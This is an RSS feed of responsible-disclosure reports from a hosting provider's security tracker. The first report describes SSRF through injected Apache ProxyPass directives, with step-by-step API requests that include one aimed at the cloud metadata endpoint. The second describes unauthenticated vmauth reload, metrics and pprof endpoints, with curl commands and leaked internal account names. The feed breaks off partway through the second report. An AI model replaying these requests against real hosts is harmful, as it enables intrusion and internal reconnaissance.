<?xml version="1.0" ?>
<rdf:RDF xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
  xmlns="http://purl.org/rss/1.0/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel rdf:about="https://security.alwaysdata.com/">
    <title>alwaysdata </title>
    <link>https://security.alwaysdata.com/</link>
    <description>alwaysdata Security vulnerabilities: Recently opened tasks</description>
    <dc:date>2026-10-06T07:15:37Z</dc:date>
    <items>
      <rdf:Seq>
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/520" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/519" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/518" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/517" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/516" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/515" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/514" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/513" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/512" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/511" />
              </rdf:Seq>
    </items>
    		
  </channel>
    <item rdf:about="https://security.alwaysdata.com/task/520">
    <title>FS#520: SSRF via Unrestricted Apache ProxyPass in Site API vhost_additional_directives Field</title>
    <link>https://security.alwaysdata.com/task/520</link>
    <dc:date>2026-10-06T07:15:37Z</dc:date>
    <dc:creator>Shubham Bothra</dc:creator>
     <description>

Severity: HighCVSS 3.1 Score: 7.5CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N



Affected Endpoint: PATCH https://api.alwaysdata.com/v1/site/{id}/Vulnerable Field: vhost_additional_directivesAuthentication Required: Yes (free account, API token)



 Summary



The alwaysdata REST API allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound HTTP requests to any URL, including potentially internal services on alwaysdata&amp;#039;s network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata&amp;#039;s server IP (185.31.41.11), not from the attacker&amp;#039;s IP.



 Technical Background



The alwaysdata API exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer&amp;#039;s Apache site with no allowlist or blocklist enforced. Apache&amp;#039;s mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any HTTP request matching the configured path to an attacker-specified upstream URL, with the request originating from alwaysdata&amp;#039;s server.



 Step-by-Step Reproduction



Step 1: Register a free account at https://www.alwaysdata.com/fr/inscription/ and create an API token from the admin panel under Profile &amp;gt; Managing tokens. The token is used as the HTTP Basic Auth username with a blank password.



Step 2: Create a free hosting account via the API to obtain a site resource ID.



Request:POST /v1/account/ HTTP/1.1Host: api.alwaysdata.comAuthorization: Basic NDRhMTIzNDVhYmNkZWY6  (base64 of token:)Content-Type: application/json



{&amp;quot;name&amp;quot;:&amp;quot;vapt1test&amp;quot;,&amp;quot;product&amp;quot;:2012,&amp;quot;location_object&amp;quot;:3,&amp;quot;password&amp;quot;:&amp;quot;TestPassword1!&amp;quot;,&amp;quot;contract_28&amp;quot;:true,&amp;quot;contract_36&amp;quot;:true}



Response:HTTP/1.1 201 Created



{

  &amp;quot;id&amp;quot;: 504456,
  &amp;quot;name&amp;quot;: &amp;quot;vapt1test&amp;quot;,
  &amp;quot;location_type&amp;quot;: &amp;quot;datacenter&amp;quot;,
  &amp;quot;location_object&amp;quot;: 3,
  &amp;quot;product&amp;quot;: null,
  &amp;quot;period&amp;quot;: null,
  &amp;quot;href&amp;quot;: &amp;quot;/v1/account/504456/&amp;quot;


}



Step 3: List the site resource to get its ID.



Request:GET /v1/site/ HTTP/1.1Host: api.alwaysdata.comAuthorization: Basic NDRhMTIzNDVhYmNkZWY6



Response:HTTP/1.1 200 OK



[

  {
      &amp;quot;id&amp;quot;: 1083881,
      &amp;quot;type&amp;quot;: &amp;quot;php&amp;quot;,
      &amp;quot;path&amp;quot;: &amp;quot;www/&amp;quot;,
      &amp;quot;vhost_additional_directives&amp;quot;: null,
      &amp;quot;addresses&amp;quot;: [&amp;quot;vapt1test.alwaysdata.net/&amp;quot;],
      ...
  }


]



Step 4: Inject an Apache ProxyPass directive into the site configuration.



Request:PATCH /v1/site/1083881/ HTTP/2Host: api.alwaysdata.comAuthorization: Basic NDRhMTIzNDVhYmNkZWY6Content-Type: application/jsonContent-Length: 121



{&amp;quot;vhost_additional_directives&amp;quot;:&amp;quot;ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/&amp;quot;}



Response:HTTP/2 204 No Contentserver: nginxvary: Accept-Language, Cookiestrict-transport-security: max-age=31536000; includeSubDomains; preload



(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)



Step 5: Confirm the directive was stored.



Request:GET /v1/site/1083881/ HTTP/1.1Host: api.alwaysdata.comAuthorization: Basic NDRhMTIzNDVhYmNkZWY6



Response:HTTP/1.1 200 OK



{

  &amp;quot;id&amp;quot;: 1083881,
  &amp;quot;vhost_additional_directives&amp;quot;: &amp;quot;ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/&amp;quot;,
  ...


}



Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata&amp;#039;s Apache server (IP 185.31.41.11) to fetch example.org and return the response.



Request (sent from attacker browser):GET /ssrf-poc HTTP/2Host: vapt1test.alwaysdata.net



Response received by attacker (actually fetched by 185.31.41.11 from example.org):HTTP/2 200 OKContent-Type: text/html



&amp;lt;!doctype html&amp;gt;&amp;lt;html lang=en&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=utf-8&amp;gt;&amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;… &amp;lt;p&amp;gt;This domain is for use in documentation examples without needing permission.&amp;lt;/p&amp;gt;…



The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org&amp;#039;s HTML, fetched and returned by alwaysdata&amp;#039;s own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.



 Step 7: Confirm the outbound request IP address using an IP reflection service.



I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.



Request:PATCH /v1/site/1083881/ HTTP/2Host: api.alwaysdata.comAuthorization: Basic NDRhMTIzNDVhYmNkZWY6Content-Type: application/json



{&amp;quot;vhost_additional_directives&amp;quot;:&amp;quot;ProxyPass /ssrf-ip http://ifconfig.me/\nProxyPassReverse /ssrf-ip http://ifconfig.me/&amp;quot;}



Response:HTTP/2 204 No Content



Trigger:GET /ssrf-ip HTTP/2Host: vapt1test.alwaysdata.net



Response body (the IP that made the request to ifconfig.me):2a00:b6e0:1:20:23::1



This is alwaysdata&amp;#039;s own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the HTTP request to ifconfig.me was made by alwaysdata&amp;#039;s server infrastructure, not by the attacker&amp;#039;s IP.



 Additional Test: Attempt to Reach Cloud Metadata



Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.



Request:PATCH /v1/site/1083881/ HTTP/1.1Host: api.alwaysdata.comContent-Type: application/json



{&amp;quot;vhost_additional_directives&amp;quot;:&amp;quot;ProxyPass /metadata http://169.254.169.254/\nProxyPassReverse /metadata http://169.254.169.254/&amp;quot;}



Triggering:GET /metadata HTTP/2Host: vapt1test.alwaysdata.net



Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.



 Impact



An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue HTTP requests to any URL on demand. Direct consequences are:



1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata&amp;#039;s private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.



2. IP reputation and access control bypass: Outbound requests from alwaysdata&amp;#039;s server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata&amp;#039;s infrastructure. If any internal or partner service trusts alwaysdata&amp;#039;s IP range, that trust is transferred to the attacker.



3. Scanning alwaysdata&amp;#039;s internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker&amp;#039;s own IP appearing in any logs.



The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.



 CVSS 3.1



AV:N (exploitable over the internet)AC:L (no special conditions, just an API call)PR:L (free account required)UI:N (no user interaction)S:C (scope changed: requests originate from alwaysdata&amp;#039;s server infrastructure, not the attacker&amp;#039;s origin)C:H (if internal services are reachable, full confidentiality of internal data)I:N (no write to internal services confirmed)A:N (no availability impact)



Score: 7.5 High



Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.



 Cleanup



I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).



PATCH /v1/site/1083881/ HTTP/2Host: api.alwaysdata.comContent-Type: application/json



{&amp;quot;vhost_additional_directives&amp;quot;: null}



Response:HTTP/2 204 No Content



 Recommended Fix



Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account&amp;#039;s own paths.



 Submission Notes



Submit via the alwaysdata security portal at https://security.alwaysdata.com (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal&amp;#039;s public .git directory).

</description>
    <content:encoded><![CDATA[
<p>
Severity: High<br />CVSS 3.1 Score: 7.5<br />CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
</p>

<p>
Affected Endpoint: PATCH <a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>{id}/<br />Vulnerable Field: vhost_additional_directives<br />Authentication Required: Yes (free account, <acronym title="Application Programming Interface">API</acronym> token)
</p>

<p>
 Summary
</p>

<p>
The alwaysdata REST <acronym title="Application Programming Interface">API</acronym> allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym>, including potentially internal services on alwaysdata&#039;s network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata&#039;s server IP (185.31.41.11), not from the attacker&#039;s IP.
</p>

<p>
 Technical Background
</p>

<p>
The alwaysdata <acronym title="Application Programming Interface">API</acronym> exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer&#039;s Apache site with no allowlist or blocklist enforced. Apache&#039;s mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request matching the configured path to an attacker-specified upstream <acronym title="Uniform Resource Locator">URL</acronym>, with the request originating from alwaysdata&#039;s server.
</p>

<p>
 Step-by-Step Reproduction
</p>

<p>
Step 1: Register a free account at <a href="https://www.alwaysdata.com/fr/inscription/" class="urlextern" title="https://www.alwaysdata.com/fr/inscription/"  rel="nofollow">https://www.alwaysdata.com/fr/inscription/</a> and create an <acronym title="Application Programming Interface">API</acronym> token from the admin panel under Profile &gt; Managing tokens. The token is used as the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth username with a blank password.
</p>

<p>
Step 2: Create a free hosting account via the <acronym title="Application Programming Interface">API</acronym> to obtain a site resource ID.
</p>

<p>
Request:<br />POST /v1/account/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6  (base64 of token:)<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;:&quot;vapt1test&quot;,&quot;product&quot;:2012,&quot;location_object&quot;:3,&quot;password&quot;:&quot;TestPassword1!&quot;,&quot;contract_28&quot;:true,&quot;contract_36&quot;:true}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 201 Created
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 504456,
  &quot;name&quot;: &quot;vapt1test&quot;,
  &quot;location_type&quot;: &quot;datacenter&quot;,
  &quot;location_object&quot;: 3,
  &quot;product&quot;: null,
  &quot;period&quot;: null,
  &quot;href&quot;: &quot;/v1/account/504456/&quot;</pre>

<p>
}
</p>

<p>
Step 3: List the site resource to get its ID.
</p>

<p>
Request:<br />GET /v1/site/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
[
</p>
<pre class="code">  {
      &quot;id&quot;: 1083881,
      &quot;type&quot;: &quot;php&quot;,
      &quot;path&quot;: &quot;www/&quot;,
      &quot;vhost_additional_directives&quot;: null,
      &quot;addresses&quot;: [&quot;vapt1test.alwaysdata.net/&quot;],
      ...
  }</pre>

<p>
]
</p>

<p>
Step 4: Inject an Apache ProxyPass directive into the site configuration.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json<br />Content-Length: 121
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>\nProxyPassReverse /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content<br />server: nginx<br />vary: Accept-Language, Cookie<br />strict-transport-security: max-age=31536000; includeSubDomains; preload
</p>

<p>
(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)
</p>

<p>
Step 5: Confirm the directive was stored.
</p>

<p>
Request:<br />GET /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 1083881,
  &quot;vhost_additional_directives&quot;: &quot;ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/&quot;,
  ...</pre>

<p>
}
</p>

<p>
Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata&#039;s Apache server (IP 185.31.41.11) to fetch example.org and return the response.
</p>

<p>
Request (sent from attacker browser):<br />GET /ssrf-poc <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response received by attacker (actually fetched by 185.31.41.11 from example.org):<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200 OK<br />Content-Type: text/html
</p>

<p>
&lt;!doctype html&gt;&lt;html lang=en&gt;&lt;head&gt;&lt;meta charset=utf-8&gt;<br />&lt;title&gt;Example Domain&lt;/title&gt;<br />… &lt;p&gt;This domain is for use in documentation examples without needing permission.&lt;/p&gt;<br />…
</p>

<p>
The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org&#039;s <acronym title="HyperText Markup Language">HTML</acronym>, fetched and returned by alwaysdata&#039;s own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.
</p>

<p>
 Step 7: Confirm the outbound request IP address using an IP reflection service.
</p>

<p>
I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>\nProxyPassReverse /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
Trigger:<br />GET /ssrf-ip <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response body (the IP that made the request to ifconfig.me):<br />2a00:b6e0:1:20:23::1
</p>

<p>
This is alwaysdata&#039;s own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request to ifconfig.me was made by alwaysdata&#039;s server infrastructure, not by the attacker&#039;s IP.
</p>

<p>
 Additional Test: Attempt to Reach Cloud Metadata
</p>

<p>
Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>\nProxyPassReverse /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>&quot;}
</p>

<p>
Triggering:<br />GET /metadata <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.
</p>

<p>
 Impact
</p>

<p>
An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym> on demand. Direct consequences are:
</p>

<p>
1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata&#039;s private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.
</p>

<p>
2. IP reputation and access control bypass: Outbound requests from alwaysdata&#039;s server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata&#039;s infrastructure. If any internal or partner service trusts alwaysdata&#039;s IP range, that trust is transferred to the attacker.
</p>

<p>
3. Scanning alwaysdata&#039;s internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker&#039;s own IP appearing in any logs.
</p>

<p>
The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.
</p>

<p>
 CVSS 3.1
</p>

<p>
AV:N (exploitable over the internet)<br />AC:L (no special conditions, just an <acronym title="Application Programming Interface">API</acronym> call)<br />PR:L (free account required)<br />UI:N (no user interaction)<br />S:C (scope changed: requests originate from alwaysdata&#039;s server infrastructure, not the attacker&#039;s origin)<br />C:H (if internal services are reachable, full confidentiality of internal data)<br />I:N (no write to internal services confirmed)<br />A:N (no availability impact)
</p>

<p>
Score: 7.5 High
</p>

<p>
Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.
</p>

<p>
 Cleanup
</p>

<p>
I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).
</p>

<p>
PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;: null}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
 Recommended Fix
</p>

<p>
Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account&#039;s own paths.
</p>

<p>
 Submission Notes
</p>

<p>
Submit via the alwaysdata security portal at <a href="https://security.alwaysdata.com" class="urlextern" title="https://security.alwaysdata.com"  rel="nofollow">https://security.alwaysdata.com</a> (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal&#039;s public .git directory).<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/519">
    <title>FS#519: Unauthenticated vmauth administrative config reload and internal metrics/pprof exposure on sandbox-f</title>
    <link>https://security.alwaysdata.com/task/519</link>
    <dc:date>2026-10-05T10:41:49Z</dc:date>
    <dc:creator>Muhammad Yaseen</dc:creator>
     <description>

SummaryThe host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with HTTP Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.



Two are materially impactful:



/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.



/metrics is unauthenticated. It leaks internal service-account usernames, config paths, TLS certificate paths, version information, and runtime telemetry.



Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.



Severity: MediumCVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.



Affected asset:



Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com



IP: 185.31.41.181



Service: vmauth v1.137.0



Steps to Reproduce / PoC1. Confirm the authentication gate exists on the same hostbashcurl -sk -o /dev/null -w &amp;#039;%{http_code}\n&amp;#039; \

https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/


Expected:



text401This is the control: the root path is protected.



2. Confirm /metrics is exempt and leaks internal databashcurl -sk -o /dev/null -w &amp;#039;%{http_code}\n&amp;#039; \

https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics


Expected:



text200Leaked data:



bashcurl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep -E &amp;#039;username=|auth.config|tlsCertFile|version=&amp;#039;


Observed output includes:



textvmauth_user_concurrent_requests_capacity{username=&amp;quot;admin&amp;quot;}     1000vmauth_user_concurrent_requests_capacity{username=&amp;quot;aldjango&amp;quot;}  1000vmauth_user_concurrent_requests_capacity{username=&amp;quot;grafana&amp;quot;}   1000vmauth_user_concurrent_requests_capacity{username=&amp;quot;telegraf&amp;quot;}  1000



name=&amp;quot;auth.config&amp;quot;, value=&amp;quot;/etc/vmauth/config.yml&amp;quot;, is_set=&amp;quot;true&amp;quot;name=&amp;quot;tlsCertFile&amp;quot;, value=&amp;quot;/etc/ssl/certs/alwaysdata.org.bundle.pem&amp;quot;, is_set=&amp;quot;true&amp;quot;version=&amp;quot;vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163&amp;quot;short_version=&amp;quot;v1.137.0&amp;quot;These usernames are not otherwise obtainable without authentication.



3. Prove /-/reload is unauthenticated and state-changingBaseline the reload counter:



bashcurl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total


Example:



textvmauth_config_last_reload_total 7Send an anonymous reload request:



bashcurl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload Observed:



httpHTTP/1.1 200 OKx-server-hostname: sandbox-fnonnenmacher2content-length: 0Re-read the counter:



bashcurl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total


Observed:



textvmauth_config_last_reload_total 8Delta: 1



Repeat:



bashcurl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total


Observed:



textvmauth_config_last_reload_total 9Delta: 1



The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.



4. Control: sibling admin endpoint is correctly gatedbashcurl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit Observed:



httpHTTP/1.1 401 UnauthorizedWww-Authenticate: Basic realm=&amp;quot;Restricted&amp;quot;Counter delta: 0



This proves /-/reload is an omission, not a design where all admin routes are open.



5. Additional unauthenticated pprof exposurebashcurl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline Observed:



text/usr/bin/vmauth -envflag.enableThe full pprof surface is exposed, including:



/debug/pprof/



/debug/pprof/cmdline



/debug/pprof/heap?debug=1



/debug/pprof/allocs?debug=1



/debug/pprof/goroutine?debug=2



/debug/pprof/trace?seconds=1



Impact1. Unauthenticated administrative actionAn anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.



2. Potential full authentication bypass if chained/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.



No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.



3. Internal information disclosure/metrics and pprof leak:



Internal service-account names: admin, aldjango, grafana, telegraf



Configuration file path: /etc/vmauth/config.yml



TLS certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem



Exact vmauth version and Go runtime version



Process command line: /usr/bin/vmauth -envflag.enable



Heap, allocs, goroutine, mutex, and trace profiling data

</description>
    <content:encoded><![CDATA[
<p>
Summary<br />The host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.
</p>

<p>
Two are materially impactful:
</p>

<p>
/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.
</p>

<p>
/metrics is unauthenticated. It leaks internal service-account usernames, config paths, <acronym title="Transport Layer Security">TLS</acronym> certificate paths, version information, and runtime telemetry.
</p>

<p>
Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.
</p>

<p>
Severity: Medium<br />CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5<br />Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.
</p>

<p>
Affected asset:
</p>

<p>
Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com
</p>

<p>
IP: 185.31.41.181
</p>

<p>
Service: vmauth v1.137.0
</p>

<p>
Steps to Reproduce / PoC<br />1. Confirm the authentication gate exists on the same host<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/</pre>

<p>
Expected:
</p>

<p>
text<br />401<br />This is the control: the root path is protected.
</p>

<p>
2. Confirm /metrics is exempt and leaks internal data<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</pre>

<p>
Expected:
</p>

<p>
text<br />200<br />Leaked data:
</p>

<p>
